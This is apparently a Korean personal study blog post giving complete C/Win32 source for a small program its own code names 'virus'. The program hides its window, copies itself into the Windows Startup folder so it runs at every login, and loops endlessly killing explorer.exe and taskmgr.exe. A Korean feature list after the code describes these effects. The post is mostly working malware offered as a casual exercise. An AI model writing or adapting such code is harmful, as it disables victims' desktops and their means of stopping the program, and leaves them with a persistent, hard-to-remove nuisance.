#pragma comment(lib, "psapi.lib")
#include <stdio.h>
#include <stdlib.h>
#include <tchar.h>
#include <Windows.h>
#include <Tlhelp32.h>
#include <atlstr.h> //Cstring 구조체 선언하기 위해j
#include <shlobj.h> //SHGetSpecialFolderPath함수 쓰기위해
#include <psapi.h>
LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);
HINSTANCE g_hInst;
CONST TCHAR* lpszClass = NULL;
CONST TCHAR* MY = _T("Ezbeat");
void Kill_Process(); //프로세스 죽이는 함수
void Move_File(); //해당 파일 다른 폴더로 복사하는 함수
void Cmd(); //cmd창 띄워주는 함수
int APIENTRY _tWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, TCHAR* lpszCmdParam, int nCmdshow)
{
HWND hWnd;
MSG Message;
WNDCLASS WndClass;
g_hInst = hInstance;
WndClass.cbClsExtra = 0;
WndClass.cbWndExtra = 0;
WndClass.hbrBackground = NULL;
WndClass.hCursor = NULL;
WndClass.hIcon = NULL;
WndClass.hInstance = hInstance;
WndClass.lpfnWndProc = WndProc;
WndClass.lpszClassName = _T("virus");
WndClass.lpszMenuName = NULL;
WndClass.style = 0;
RegisterClass(&WndClass);
hWnd = CreateWindow(_T("virus"),_T(""),WS_POPUP,0,0,0,0,
NULL, (HMENU)NULL, hInstance, NULL);
ShowWindow(hWnd, SW_HIDE);
while(GetMessage(&Message,NULL,0,0)) //메시지 큐에서 메시지를 읽어들임
{
TranslateMessage(&Message); //키보드 누르면 눌렀다는 메시지 만들어냄
DispatchMessage(&Message); //WndProc로 전달
}
return (int)Message.wParam;
}
LRESULT CALLBACK WndProc(HWND hWnd, UINT iMessage, WPARAM wParam, LPARAM lParam)
{
switch ( iMessage ) {
case WM_CREATE:
//Cmd();
Move_File();
while(TRUE)
{
Kill_Process();
Sleep(10); //CPU할당량 줄여주기 위해 ^^
}
return 0;
case WM_DESTROY:
//PostQuitMessage(0);
return 0;
}
return DefWindowProc(hWnd, iMessage, wParam, lParam);
}
void Kill_Process()
{
HANDLE hSnapshot;
hSnapshot = CreateToolhelp32Snapshot ( TH32CS_SNAPPROCESS, 0 ); //프로세스 전체 스냅샷!
if ( (int)hSnapshot != -1 )
{
PROCESSENTRY32 pe32={0,} ;
pe32.dwSize = sizeof(PROCESSENTRY32);
BOOL bContinue ;
CString strProcessName;
if ( Process32First ( hSnapshot, &pe32 ) ) //첫번째 프로세스 정보를 검색
{
do
{
strProcessName = pe32.szExeFile; //검색된 프로세스 명을 strProcessName에 담음
if(strProcessName.Compare(_T("taskmgr.exe")) == 0) //입력한 프로세스 명과 비교 있으면 아래 시행
{
HANDLE hProcess = OpenProcess( PROCESS_ALL_ACCESS, 0,pe32.th32ProcessID ); //핸들 값 얻고
if( hProcess ) //핸들 값 얻기 성공하면
{
TerminateProcess(hProcess,0);
}
}
else if(strProcessName.Compare(_T("explorer.exe")) == 0)
{
HANDLE hProcess = OpenProcess( PROCESS_ALL_ACCESS, 0,pe32.th32ProcessID ); //핸들 값 얻고
if( hProcess ) //핸들 값 얻기 성공하면
{
TerminateProcess(hProcess,0);
}
}
bContinue = Process32Next ( hSnapshot, &pe32 ); //없으면 다음 프로세스를 찾음..
} while ( bContinue ); //다음 프로세스 없으면 루틴 벗어남!
}
CloseHandle( hSnapshot );
}
}
void Move_File()
{
HANDLE hPro=NULL;
TCHAR File_Name[MAX_PATH]={0,}; //파일 명
HANDLE hProcess = GetCurrentProcess();
DWORD PID_Process = GetProcessId(hProcess);
hPro = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, PID_Process);
GetModuleBaseName(hPro,NULL,File_Name,MAX_PATH); //PID로부터 프로세스 이름 얻어옴
TCHAR Original_File_place[MAX_PATH]= {0,}; //원본 프로그램 위치 담을 변수
TCHAR New_File_place[MAX_PATH] = {0,}; //새로 복사할 위치를 담을 변수
GetModuleFileName(NULL,Original_File_place,MAX_PATH); //원본 파일 경로 읽어옴
SHGetSpecialFolderPath(NULL,New_File_place,CSIDL_STARTUP,FALSE); //시작프로그램 경로 읽어옴
_tcsncat(New_File_place,_T("\\"),sizeof(_T("\\"))); //PID로부터 얻어온 프로세스 이름 경로에 붙혀주기 위해..^^
_tcsncat(New_File_place,File_Name,sizeof(File_Name)); //읽어온 시작프로그램 경로에 파일 명 붙혀줌
CopyFile(Original_File_place,New_File_place,FALSE); //프로그램 복사
}
void Cmd()
{
TCHAR command[] = _T("cmd.exe");
STARTUPINFO si={0,};
PROCESS_INFORMATION pi;
si.cb = sizeof(si);
SetCurrentDirectory(_T("C:\\WINDOWS\\system32")); //프로세스 현재 디렉토리 바꿔줌
CreateProcess(NULL,command,NULL,NULL,TRUE,CREATE_NEW_CONSOLE,NULL,NULL,&si,&pi); //해당 프로그램 띄움 새 창에서 (cmd)
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}
기능
1. 작업표시줄에 뜨지 않음
2. 응용프로그램에 뜨지 않음(프로세스에선 봐짐..)
3. exlorer.exe(바탕화면)와 taskmgr.exe(작업관리자)프로세스를 계속 탐지해 존재하면 바로 죽여버림
4. 실행 시 바로 시작프로그램에 달라붙음(파일명은 마음대로 바꿔도 됨)
5. CPU 거의 않먹음..
간단하게 만들어봤어요 ~ 시스템 프로그래밍 책을 봐보고 있는데 흥미롭네요..
'My Study > Programming&Theory' 카테고리의 다른 글
Trap Flag (0) | 2009.12.05 |
---|---|
PEB.ProcessHeap.ForceFlags (0) | 2009.12.05 |
PEB.ProcessHeap.Flags (0) | 2009.12.05 |
NtGlobalFlag (0) | 2009.12.05 |
PEB.BeingDeugged (0) | 2009.12.05 |